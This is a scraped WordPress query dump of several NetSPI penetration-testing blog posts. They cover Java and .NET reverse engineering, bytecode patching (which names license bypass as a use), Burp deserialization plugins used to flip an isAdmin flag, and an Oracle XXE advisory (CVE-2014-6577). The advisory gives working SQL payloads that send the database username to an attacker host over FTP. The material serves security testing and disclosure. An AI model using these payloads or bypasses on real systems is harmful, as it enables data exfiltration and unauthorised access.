 'ClassName' = $Type.Name;
 'ClassPublic' = $Type.IsPublic;
 'ClassStatic' = $Type.IsAbstract -and $Type.IsSealed;
 'MemberType' = $_.MemberType;
 'Member' = $_.ToString();
 'Changed' = $Changed;
 'MemberPublic' = $_.IsPublic;
 'MemberStatic' =$_.IsStatic;
 }
 $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
 $Results+=$ResultsObject
 }
 }
}
$Results | Select-Object Assembly,ClassPublic,ClassStatic,ClassName,MemberType,Member,MemberPublic,MemberStatic | Sort-Object Assembly,ClassName,MemberType,Member| Out-GridView -Title "Reflection"

Sample output:

Kh Powershell Scenario

Reference:

Thanks Scott for feedbacks and help testing them out. You can also find the snippets mentioned in this post at https://github.com/NetSPI/PS_Reflector
[post_title] => Using Powershell and Reflection API to invoke methods from .NET Assemblies [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => using-powershell-and-reflection-api-to-invoke-methods-from-net-assemblies [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:30 [post_modified_gmt] => 2021-06-08 21:49:30 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1143 [menu_order] => 735 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) [4] => WP_Post Object ( [ID] => 1147 [post_author] => 12 [post_date] => 2013-09-09 07:00:13 [post_date_gmt] => 2013-09-09 07:00:13 [post_content] => I made a script to chain together some common tools to reverse-engineer Windows applications. It has come in handy for me in several situations when an application contains hundreds of assemblies written in native C, .NET or Java.

What you can do with this?

  • Static analysis: you can do a basic manual code review for decompiled sources to discover hidden communication channels, search for hard-coded passwords, or SQL injection vulnerabilities.
  • Import decompiled projects to an IDE to reconstruct and modify the original source code
  • Call hidden native exported functions with rundll32
Here is a rough description of what it does, and what tools it is using:
  • For exe, dll files:
    • Detect and de-obfuscate for .NET libraries with de4dot
    • Decompile .NET libraries with JustDecompile
    • Zip decompiled source code to netsources.zip
    • Run strings against native libraries
    • Export call-able functions with dllexp. You can then try to run those functions with command Rundll32 <dll>,<function name>
    • Export dependencies with depends
    • Extract native resources with resourcesextract
  • For jar files:
    • Extract and combine java classes into a single zip file
    • Decompile java sources with procyon
    • Zip decompiled source code to javasources.zip

Requirements

Usage

1. Configure the correct path to the  installed tools in the script:
set justdecompile="JustDecompileJustDecompile" set dllexp="dllexpdllexp"
set peverify=”peverify”
set zip="7-Zip7z"
set strings="strings"
set de4dot=" de4dot-2.0.3de4dot"
set java7="C:Program Files (x86)Javajre7binjava"
set procyon="procyon-decompiler-0.5.7.jar"
2. Run
Binrev [Source folder] [Output folder]
Output
/java/decompiled: decompiled Java class files
/native: native win32 libraries
/native/resextract: native win32 resource files
/net/decompiled: decompiled .NET projects
/net/bin: .NET libraries and executables
/net/deobs: deobfuscated .NET libraries
/logs: strings on native libraries, exportable functions, dependencies, list of decompiled and native dlls
/other: unhandled file extensions
The script is available at https://github.com/NetSPI/binrev [post_title] => Binrev- Automate Reversing Windows Binaries for Pentesters [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => binrev-automate-reversing-windows-binaries-for-pentesters [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:06:18 [post_modified_gmt] => 2021-04-13 00:06:18 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1147 [menu_order] => 739 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [5] => WP_Post Object ( [ID] => 1153 [post_author] => 12 [post_date] => 2013-07-15 07:00:14 [post_date_gmt] => 2013-07-15 07:00:14 [post_content] => For high-level languages such as .NET or Java, it is quite trivial to reverse-engineer application binaries to recover the original source code if the application doesn’t employ any type of encryption or obfuscation. Some popular decompilers are: Dotpeek, Reflector, JustDecompile (.NET), Java Decompiler, Mocha, DJ Java Decompiler (Java). In a penetration test, program’s source code is valuable information that can be used to attack application and trusted resources. To help prevent the recovery of source code, obfuscation is often being used. Obfuscation is the intentional act of converting original source code to a form that is difficult for human to understand. The main goal of obfuscation is to provide “security through obscurity” in order to prevent attackers from:
  • Recovering original source code (Intellectual Property (IP) theft)
  • Tampering with business logic by modifying source code
Obfuscators (programs that help obfuscating source code), generally achieve its purposes by:
  • Name obfuscation: renaming classes, methods, packages, fields, etc.
  • String encryption
  • Code and Data Flow obfuscation: alternating program logic or adding gibberish instructions that may not be decompiled into valid source code
  • Inject Unnecessary Code
  • Remove debug information
This blog post aims to provide a simple example of Java Obfuscation. Hopefully it will be helpful for programmers wanting to protect their applications.

Choosing Java Obfuscator

If you just want to simply do name/data flow obfuscation for your Java program, free obfuscators such as ProGuard or yGuard will suit your needs. For stronger protection and extra capabilities such as String Encryption, Incremental Obfuscation, Stack Trace Transplantation, you may need to choose a commercial product. This article provides a great comparison among popular Java Obfuscators I am usually a proponent of open source programs; however for this tutorial I will be using Zelix KlassMaster to obfuscate a custom server/client Java program. In my opinion, it provides decent feature set for a reasonable price point. For complete feature listing visit Zelix Klassmaster

Example

Let’s take a look at this client/server program. On the Server side, we have following classes:
  • ServerRun.java: Main Program
  • Person.java, SearchObject.java,SearchResult.java: shared classes between client/server
Img E C Ddfb Compiling server classes give us Java Archive file: Server.jar On the Client side, we have following classes:
  • ClientRun.java: Main Program
  • Person.java, SearchObject.java,SearchResult.java: shared classes between client/server
Img E Ca B As mentioned above, it is trivial to recover original source code with a Decompiler Program such as Java Decompiler (JD-GUI). Here is what it looks like when decompiling Client.jar with JD-GUI:  Img E Dee D D The original source code has been recovered with great accuracy. With this information, attackers can learn the business logic of the program or import decompiled project into an IDE, modify code flow to bypass program restrictions.

Bad Obfuscation Example

The most common mistake when dealing with obfuscation is to involve it later in the game, after the implementation phase, when the binaries are made and ready for testing. In this bad example below, Client.jar is obfuscated with Zelix KlassMaster with the following settings: Img E Ea Dc After obfuscation the result binary will have the following structure: Img E Fb E Decompiling it will result in an empty class file as shown below: Img E D B The command to run Client program will be the same as before: java -classpath Client.jar com.client.ClientRun However it will generate exception when trying to communicate with Server Program. The reason is: Server and Client programs share some common classes: Person, SearchObject and SearchResult. When Server program attempts to read com.commons.Person object, for example, in Client program it is transformed into com.client.a, causing the Exception in the screenshot below. For both of the programs to work, Client and Server programs must be using the exact same classes, including package name.

Img E Deaa

General Obfuscation Procedures

Below is any overview of common obfuscation procedures.
  1. Identify common public interfaces and methods that will be used either within the same program or by another components
  2. Identify serialized classes that will be shared among different components
  3. Refactor classes in step 1 and step 2 into separate project
  4. Compile them into Java Archive (.jar) file
  5. Obfuscate common libraries (optional)
  6. Import necessary library into relevant components
  7. Identify main entry points
  8. Obfuscate the rest of the code
  9. Test
  10. Maintenance

Obfuscation Example

  1. Identify common public interfaces and methods that will be used either within the same program or by another componentsRemote Procedure Call (RPC) Applications typically communicate with each other through some common interfaces. They can use those interfaces to invoke functions on another machine or network. Those interfaces must be made available to all involved components. Some examples:
    • RMI Interfaces
    • JBoss Remoting Interfaces
    • Apache XML RPC Interfaces
    • COBRA Interfaces
    This principle can also be applied for programs that provide Application Programmable Interface (API) for other software components.The example doesn't have any of the above interfaces so this step can be ignored.
  2. Identify serialized classes that will be shared among different componentsSerialization allows programmers to save and restore state of objects. In case of transmitting objects between different components, serializable classes must be defined the same in all components. In Java, Serializable classes are easily recognized because they must implement Serializable interface. Example:public class Person implements Serializable. In this example, serializable classes are: Person, SearchObject and SearchResult
  3. Refactor aforementioned classes into separate projectsIn this step, the excluded classes/interfaces mentioned in step 1 and step 2 are refactored or moved into separate projects. It is also a good design practice to refactor common classes into new components, since it will eliminate redundancy, keep the code base clean and easy to maintain.In Eclipse, I created a new project called ServletCommons and import serializable classes in step 2:

    Img E A D A

  4. Compile them into Java Archive (.jar) librariesThe purpose of this step is to generate jar files that can later be imported into components that will reuse/extend them. The following command will generate servlet-commons.jar file for project ServletCommons. C:ServletCommonsbin> jar cvf servlet-commons.jar *.*
  5. Obfuscate common libraries (optional)If you follow good software design practice, step 1-4 may have already been done. It is now up to you to decide if these libraries should be obfuscated. If your software is well-designed, RPC Interfaces/ API should not publicly expose sensitive methods, and consequently need no obfuscation. The same principle applies for Serializable classes: they should not contain any application logic, other than object’s data. Obfuscate common libraries will provide greater protection, but with a cost. Your vanilla code base will now contain original source code and obfuscated libraries. It will probably add more overhead and introduce more efforts into your development and testing environment.
  6. Import libraries into relevant components, when necessaryNow you will need to import those libraries to projects that need them. This can be done with an IDE, ant or maven build script. You may also need to deploy them on the server, depending on your setup. The example in the screenshot below show how to do it in Eclipse:

    Img E B

    If you choose to obfuscate common libraries in step 5, this is the time to fix potential compilation errors due to class/package/method renaming.
  7. Identify main entry points, retain mapping of entry pointsFor complex applications that contain native code (C, C++) call out to Java component, the main entry points to Java components need to be clearly identified and kept consistent. For this reason you should keep track of the mapping between entry points and obfuscate code, and update components that are calling now-obfuscated entry points. For more information check out this documentation: https://www.zelix.com/klassmaster/docs/tutorials/incrementalObfuscation.html
  8. Import necessary libraries and obfuscateFirst you will need to set the classpath of the project. As mentioned in step 4, servlet-common.jar is required for both Client and Server program

    Img E E A

    The following settings are used to obfuscate Client Program. Note that I excluded public static void main(String[] args) as it is required to run any Java application:

    Img E Deb D

    Specify change log location:

    Img E F

    Save obfuscated classes into a new jar file:

    Img E Eeec F

    Decompiling it with JD-GUI:

    Img E De

    Review change log for the new names of entry points. Update all components that are using those entry points. Sample change log will look like: Class: public com.client.ClientRun => d Source: "ClientRun.java" Now move on to obfuscate Server program. To keep it simple, I opt to exclude servlet class name from obfuscation:

    Img E Aeb

    Save obfuscated classes into new jar file:

    Img E Faa

    Decompiling it with JD-GUI:

    Img E Bfc

  9. TestDeploy Server.jar and servlet-commons.jar to Tomcat. Run the client with the newly obfuscated entry point: java -classpath Client.jar;servlet-commons.jar d

    Img E D B

  10. MaintenanceTroubleshooting live applications: Zelix provides Stack Trace Translate tool to help with de-obfuscating stack traces and debugging log. For more information visit: https://www.zelix.com/klassmaster/featuresStackTraceTranslate.htmlIncremental Obfuscation: there are cases you may want to keep consistent mapping between your old code and new code. Some examples are software updates, patches or minor releases. It is good practice to keep change logs in safe place and reuse them if you want that consistency. For more information visit: https://www.zelix.com/klassmaster/docs/tutorials/incrementalObfuscation.html
Obfuscation, in general, makes reverse-engineering a time-consuming process for most attackers. Obfuscation cannot prevent other attack vectors such as bytecode manipulation or communication manipulations. To protect your application from such threats, consider implementing code signing in your application. Regarding Zelix Klassmaster itself, Security Researcher Yiannis Pavlosoglou has discovered that the its String Encryption routine is actually composing of five XOR operations, with encryption keys hard-coded in the class file. More information can be viewed here: https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-subere.pdf

References

[post_title] => Java Obfuscation Tutorial with Zelix Klassmaster [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => java-obfuscation-tutorial-with-zelix-klassmaster [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:33 [post_modified_gmt] => 2021-06-08 21:49:33 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1153 [menu_order] => 746 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) [6] => WP_Post Object ( [ID] => 1162 [post_author] => 12 [post_date] => 2013-05-16 07:00:39 [post_date_gmt] => 2013-05-16 07:00:39 [post_content] => The process of patching a Java executable (.jar files) without the original source code has been known for a while. As I know of, currently there are two ways of doing it:
  1. Decompile the executable > Import decompiled classes to an IDE (Eclipse, NetBeans, etc.) > Modify source code > Recompile > Repack
  2. Extract Java classes from executable > Modify Java Bytecode > Verify > Repack
Method (1) has big advantage if you are already familiar Java or similar OO-styled languages. However, in practice it has two main drawbacks:
  1. Typically, the targeted jar file has dependencies to other libraries. You should be familiar with linking those dependencies to your project
  2. The decompilation process is not an exact science, so expect to fix syntactical errors before getting it to recompile
On one project after importing a decompiled jar file into Eclipse there are nearly 1000 syntactical errors. Going through and fixing all of it would be a pain, especially what you want to do is just edit a few lines of code. In this blog post, I want to introduce to you a method (2) of patching Java. It is faster, less error-prone and quite simple to execute. I hope it will be useful for developers that are in need of patching Java. Some potential use cases are:
  • Bypass software restrictions (license, signature, hash, etc.)
  • Patch security issues without original source code
  • Inject custom code to application
In the example below, I will show you how to patch the JBoss encrypting library to use custom private key to encrypt data source strings.

Background

JBoss has a SecureIdentityLoginModule utility to encrypt data source password in XML configuration files. More info can be found at the JBoss Community Site. In JBoss 7, the module is located in picketbox-4.0.7.Final.jar The actual command to encrypt the password is: java -cp modulesorgJBossloggingmainJBoss-logging-3.1.0.GA.jar;modulesorgpicketboxmainpicketbox-4.0.7.Final.jar&nbsp; org.picketbox.datasource.security.SecureIdentityLoginModule password Encoded password: 5dfc52b51bd35553df8592078de921bc

Problem

If you peek into the source code, the utility is using Blowfish encryption algorithm with a fixed key set to: “jaas is the way”.  There is already a tool to decrypt it located at https://usefulfor.com/security/2009/09/24/beware-of-JBoss-secureidentityloginmodule/.

Objective

The objective is to modify default private key. The key is still in the jar file and you can call the corresponding decode() function of the jar file to decrypt it anyway. Hence for a production system I would recommend switching to use  the keystore-based JaasSecurityDomainIdentityLoginModule instead. More information could be found at https://community.JBoss.org/wiki/EncryptingDataSourcePasswords.

High-level steps:

  1. Setup the environment
  2. Use JD-GUI to peek into the jar file
  3. Unpack the jar file
  4. Modify the .class file with a Java Bytecode Editor
  5. Repack the modified classes into new archive file
  6. Verify it with JD-GUI

Step 1: Setup the Java environment

Most computers should have the JRE installed by default. For this tutorial, you will need to download and install the latest version of JDK. For this example, I am using JDK 6 update 35. You may also need to add the JDK bin folder to your PATH environment variable. Upon completion, open up a command line console and type: java -version The result should look something like this: java version “1.6.0_35″ Java(TM) SE Runtime Environment (build 1.6.0_35-b10) Java HotSpot(TM) 64-Bit Server VM (build 20.10-b01, mixed mode)

Step 2: Use JD-GUI to peek into the jar file

Bytecode editors typically do not support decompiling Java executables. For that reason, I prefer to use a standalone decompiler to quickly browse decompiled classes and identify potential classes/methods. My favorite tool for this task is JD-GUI (we also need it later on to verify the modified bytecode):

Img E E Aed

As shown in the picture above, browsing to SecurityIdentityLoginModule reveals the default secret key used to encrypt string.

Step 3: Unpack the jar file

The below commands will create new directory > Copy jar file > Extract all the classes (note that in Windows you can use 7zip to extract them as well) cd <JBOSS_HOME>modulesorgpicketboxmain mkdir picketbox cp picketbox-4.0.7.Final.jar picketbox cd picketbox jar -xf picketbox-4.0.7.Final.jar

Step 4: Modify the .class file with a Java Bytecode Editor

Download and run Java Bytecode Editor (JBE) In this example we need to modify two methods of SecureIdentityLoginModule class: encode() and decode(). Note that the original encryption/decryption methods only work with 16-character key. To keep it simple, I will modify default key “jaas is the way” to “java is the way” to keep the length intact.

Img E Edf D

Step 5: Repack the jar file

Take the changed class file and repack the jar file cd picketbox jar -cvf picketbox.jar *.*

Step 6: Verify the changes with JD-GUI

JBE tool has Code Verification feature, but in practice, I found it complains too much . Hence, I use JD-GUI again to verify correctness of the modified jar file. If there’s any error in the modified class file, JD-GUI will not able to render the new jar file. If things go well, you should see your changes reflected in the patched jar file:

Img E Ded E

Final test:

java -cp modulesorgJBossloggingmainJBoss-logging-3.1.0.GA.jar;modulesorgpicketboxmainpicketbox.jar  org.picketbox.datasource.security.SecureIdentityLoginModule password Encoded password: 3f8c894b05a5462a4a06c734ae626874 The last step would be overwriting the patched file to the original one. I hope you had fun. Thanks Steve for helping me proofread this and happy hacking!

References:

https://set.ee/jbe/ https://java.decompiler.free.fr/?q=jdgui https://www.oracle.com/technetwork/java/javase/downloads/jdk6u35-downloads-1836443.html https://community.JBoss.org/wiki/EncryptingDataSourcePasswords https://usefulfor.com/security/2009/09/24/beware-of-JBoss-secureidentityloginmodule/ [post_title] => Patching Java Executables – The Easy Way [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => patching-java-executables-the-easy-way [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:50:14 [post_modified_gmt] => 2021-06-08 21:50:14 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1162 [menu_order] => 755 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [7] => WP_Post Object ( [ID] => 1178 [post_author] => 12 [post_date] => 2013-01-09 07:00:24 [post_date_gmt] => 2013-01-09 07:00:24 [post_content] => Action Message Format (AMF) is one of the communication protocols used to exchange messages between Flash client and server; the others are RTMP and XML. BurpAMFDSer is another Burp plugin that will deserialize/serialize AMF request and response to and from XML with the use of Xtream library (https://xstream.codehaus.org/). BurpAMFDSer also utilizes part of Kenneth Hill's Jmeter source code for custom AMF deserialization (https://github.com/steeltomato/jmeter-amf).

How to run:

java -classpath burp.jar;burpAMFDser.jar;xstream-1.4.2.jar burp.StartBurp

Sample serialized Request:

Img E A E F Ca

Sample deserialized Request:

Img E A A Dac

Sample deserialized Response:

Img E A D B F

Source code and executables are available at: https://github.com/NetSPI/burp-plugins/tree/master/BurpAMFDSer/Old_APIs The sample application in the screenshot is TraderDesktop, provided as part of ADEP Data Services for Java EE 4.6 and could be downloaded at: https://www.adobe.com/cfusion/tdrc/index.cfm?product=livecycle_dataservices I've also developed a newer version of this plugin to be compatible with the new Burp Extender APIs (https://blog.portswigger.net/2012/12/draft-new-extensibility-api.html). Now you can modify AMF requests and responses in a separate tab. The new plugin can be loaded dynamically via Burp Extender:

Img E A Cee

Sample Request:

Img E A D

I also added 2 new menus to work with Intruder and Scanner (pro version only)

Send deserialized request to Intruder

Img E A B F

Scan AMF (Pro version only)

Img E A

Unfortunately, the new APIs are only available for Burp Suite Pro version 1.5.01 and later. Hopefully the author will update the free version soon. If you are interested, source code and executable are available at: https://github.com/NetSPI/burp-plugins/tree/master/BurpAMFDSer/New_APIs [post_title] => Tool release: AMF Deserialize Burp Plugin [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => tool-release-amf-deserialize-burp-plugin [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:50:57 [post_modified_gmt] => 2021-06-08 21:50:57 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1178 [menu_order] => 773 [post_type] => post [post_mime_type] => [comment_count] => 8 [filter] => raw ) [8] => WP_Post Object ( [ID] => 1191 [post_author] => 12 [post_date] => 2012-10-08 07:00:24 [post_date_gmt] => 2012-10-08 07:00:24 [post_content] => Recently I stumbled upon a Java Rich Client pentest project. Fortunately, the communication was made via HTTP, so it was possible to manipulate requests and response with our favorite tool, Burp. Unfortunately, the app has been transmitting data in serialized Java format. So the intercepted requests and responses look like this:

Img E B D

After a little bit of Google searching, I came across this very well-written article about Java serialization and tried out his tool: BurpDSer. After scratching my head off for a few hours, installing dependencies, and still not getting it to work (there’s some problem with IRB Shell not popping up), I began searching for alternative solutions. Luckily I found this excellent SANS blog which outlined high level steps to make a Burp Deserialization plugin. So I put together a simple implementation of that idea. I hope it will be helpful for pentesters as well as developers in dealing with serialized Java applications. In this blog post, I will cover following information:
  1. Setup Burp proxy
  2. Inspect Java client
  3. Run BurpJDSer
  4. Fuzz for server errors
  5. Bypass client side controls
  6. Remediation path
  7. Introduction

Introduction

BurpJDSer is a Burp plugin that will deserialize/serialize Java request and response to and from XML with the help of Xtream library. BurpJDSer utilizes native Java technology to deserialize/serialize Java request, thus no additional software is required. Let’s consider this dummy Java app that communicates with a servlet via HTTP. It’s a very simple search box which sends SearchObject to a server. Server responses with a SearchResult object back. If it indicates that client has admin privilege, the gray text will become red.

Img E B C E Fd Figure 1: Sample Client

Step 1: Set up Burp proxy

  • If the program is started from the command line (java –jar client.jar), add the following flags:Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=<Burp port>
  • If the program is started from browser (Java Web Applet), make sure JVM set to use browser proxy settings (Windows Control Panel > Java > Network Settings) or explicitly set to use Burp proxy.

    Img E B De

    Figure 2: Configure Java Network Settings on Windows
  • If the program communicates via HTTPS, import PortSwigger Root Certificate to your favorite browser.
Also consider these instructions from Burp author if the above method fails to intercept HTTP traffic: https://blog.portswigger.net/2009/04/intercepting-thick-client.html

Step 2: Download and Inspect Client jar

  • Download the Java client to your computer. This can be done viewing HTML response from the page that loads Java applet. A sample applet tag that reveals location of the client jar file: <applet code="com.example.client" archive="SerializedClient.jar">
  • Use any Java decompiler to decompile the target jar file. My favorite is JD-GUI from https://java.decompiler.free.fr/
  • What to look for: any hardcoded passwords, backdoors, communication methods, SQL queries,etc.

    Img E B Edfe

Step 3: Run the BurpJDSer plugin

Step 4: Inspecting traffic

  • When setup properly, we should see some traffic captured by Burp.
  • Essentially, what the plugin does is to convert serialized request to XML for you to modify, than convert back from XML to serialized object before sending to the server

    Img E B D F

  • Similarly for the response, the plugin will deserialize to XML and then serialize back to Java object so that it won’t break the client.

    Img E Baa Faa

    In this example, SSN is included in the response, but not shown in the client.

Step 5: Fuzzing for server error with Repeater and Intruder

  • This plugin will also perform conversion of Java object when processed in Burp Repeater/Intruder for your convenience
  • Fuzz for server vulnerabilities such as SQL Injection, Command Injection, Authorization Bypass, etc.

    Img E Bb E

    Img E Bbc F

Step 6: Test for client-side authorization bypass

The plugin also has support for serializing requests/responses from XML to Java format. This may come in handy in case you need to bypass client check or enable hidden features of the client. Below is an example of how to do this
  • Intercept server response
  • Find and modify hidden parameter to access hidden priviledges. In this example, I set isAdmin parameter to "true" in order to bypass client-side restriction.

    Img E Bcf E

    Img E Bded E

Remediation path

  • Don’t rely on Java serialization as a method of encryption
  • Don’t include redundant data in the response, even if it’s not displayed on client GUI
  • Obfuscate your code: choose a obfuscator that also encrypts String constants such as ZelixClassMaster
  • Validate input serialized data
  • Consider sealing and signing serialized objects with javax.crypto.SealedObject

References

The source code and executable are available at: https://github.com/khai-tran/BurpJDSer. Feel free to leave comments there. Thanks to Scott and Antti for your feedback on the tool. You may also want to check out other tools of the same category: Happy hacking! [post_title] => Pentesting Java Thick Applications with Burp JDSer [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => pentesting-java-thick-applications-with-burp-jdser [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:51:05 [post_modified_gmt] => 2021-06-08 21:51:05 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1191 [menu_order] => 787 [post_type] => post [post_mime_type] => [comment_count] => 9 [filter] => raw ) ) [post_count] => 9 [current_post] => -1 [before_loop] => 1 [in_the_loop] => [post] => WP_Post Object ( [ID] => 2814 [post_author] => 12 [post_date] => 2015-01-21 07:00:31 [post_date_gmt] => 2015-01-21 07:00:31 [post_content] =>

Vulnerability Description

The XML Parser module in Oracle Database is vulnerable to XML External Entity (XXE) Injection.

Affected versions: 11.2.0.3, 11.2.0.4, 12.1.0.1 and 12.1.0.2

Privilege required: CREATE SESSION

Technical Details

Due to the security features in Oracle's XML parser, the external schema is resolved, but not parsed. This prevents certain XXE injection attacks, such as reading local files on the remote database server. However, an attacker could send a specially-crafted SQL Query to trigger the XML Resolver, tricking the server into connecting to a remote resource via HTTP or FTP channels. This makes it possible to exfiltrate data via Out-Of-Band channels, perform port-scanning on remote internal systems, perform Server-Side Request Forgery (SSRF) attacks or cause a Denial-of-Service (DoS) condition.

Vulnerable URI handlers:

  • http:
  • ftp:

Oracle's XML Parser can be triggered by calling the extractvalue() function for an xmltype object. Below is an example query with a vanilla XXE injection payload:

select extractvalue(xmltype('&lt;!ENTITY xxe SYSTEM "etc/passwd"&gt;]&gt;'|| '&amp;' ||'xxe;'),'/l') from dual;

Executing the above query will produce the following error:

ORA-31001: Invalid resource handle or path name "/etc/passwd"
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31001. 00000 - "Invalid resource handle or path name \"%s\""
*Cause: An invalid resource handle or path name was passed to
the XDB hierarchical resolver.
*Action: Pass a valid resouce handle or path name to the hierarchical
resolver.

This is due to the FILE URI handler being converted to an XDB Repository path. However, changing the query to use the HTTP URI handler produces a different error. Example query:

select extractvalue(xmltype('&lt;!ENTITY xxe SYSTEM "https://IP/test"&gt;]&gt;'|| '&amp;' ||'xxe;'),'/l') from dual;

Database Server error:

ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31020. 00000 - "The operation is not allowed, Reason: %s"
*Cause: The operation attempted is not allowed
*Action: See reason and change to a valid operation.

This error suggests that FTP and HTTP URI handlers may be accepted by the XML Parser. Note that the query above will not send any HTTP request to the attacker's system. Let's examine another XXE injection payload that references a Parameter Entity instead of a Document Entity:

select extractvalue(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "https://IP/test"&gt; %remote; %param1;]&gt;'),'/l') from dual;

When executing this query, the Database Server will produce the same error as above (ORA-31020). This time, however, the server is tricked into submitting an HTTP request for the resource "test". Below is the HTTP log from the attacker's server:

ncat -lvp 80
Ncat: Version 6.25 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8

Traditionally, an attacker would need privileged access to UTL_HTTP package in order to force the server to make HTTP requests to an external resource. Since extractvalue() is available for all database users, XXE injection presents another way to trigger out-of-band HTTP requests without the said privilege.

The FTP URI handler (ftp:) can also be used to trigger Oracle's XML Resolver. Example query that sends the database username as an FTP username:

select extractvalue(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"&gt; %remote; %param1;]&gt;'),'/l') from dual;

Database Server error (note that the error code is different because the supplied credentials could not be used to login to the remote FTP server):

ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31011. 00000 - "XML parsing failed"
*Cause: XML parser returned an error while trying to parse the document.
*Action: Check if the document to be parsed is valid.

The database's username is included in the FTP traffic sent to the attacker's server as the FTP username:

KT_Oracle_Vulnerability

Recommendation

Apply Oracle's CPUJan2015.

Timeline

July 03, 2014: vulnerability reported to Oracle.

January 20, 2015: patch released.

References

[post_title] => Advisory: XXE Injection in Oracle Database (CVE-2014-6577) [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => advisory-xxe-injection-oracle-database-cve-2014-6577 [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:06:22 [post_modified_gmt] => 2021-04-13 00:06:22 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=2814 [menu_order] => 691 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [comment_count] => 0 [current_comment] => -1 [found_posts] => 9 [max_num_pages] => 0 [max_num_comment_pages] => 0 [is_single] => [is_preview] => [is_page] => [is_archive] => [is_date] => [is_year] => [is_month] => [is_day] => [is_time] => [is_author] => [is_category] => [is_tag] => [is_tax] => [is_search] => [is_feed] => [is_comment_feed] => [is_trackback] => [is_home] => 1 [is_privacy_policy] => [is_404] => [is_embed] => [is_paged] => [is_admin] => [is_attachment] => [is_singular] => [is_robots] => [is_favicon] => [is_posts_page] => [is_post_type_archive] => [query_vars_hash:WP_Query:private] => e44e71c848c555d518b5dd92b083c3af [query_vars_changed:WP_Query:private] => [thumbnails_cached] => [allow_query_attachment_by_filename:protected] => [stopwords:WP_Query:private] => [compat_fields:WP_Query:private] => Array ( [0] => query_vars_hash [1] => query_vars_changed ) [compat_methods:WP_Query:private] => Array ( [0] => init_query_flags [1] => parse_tax_query ) )

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X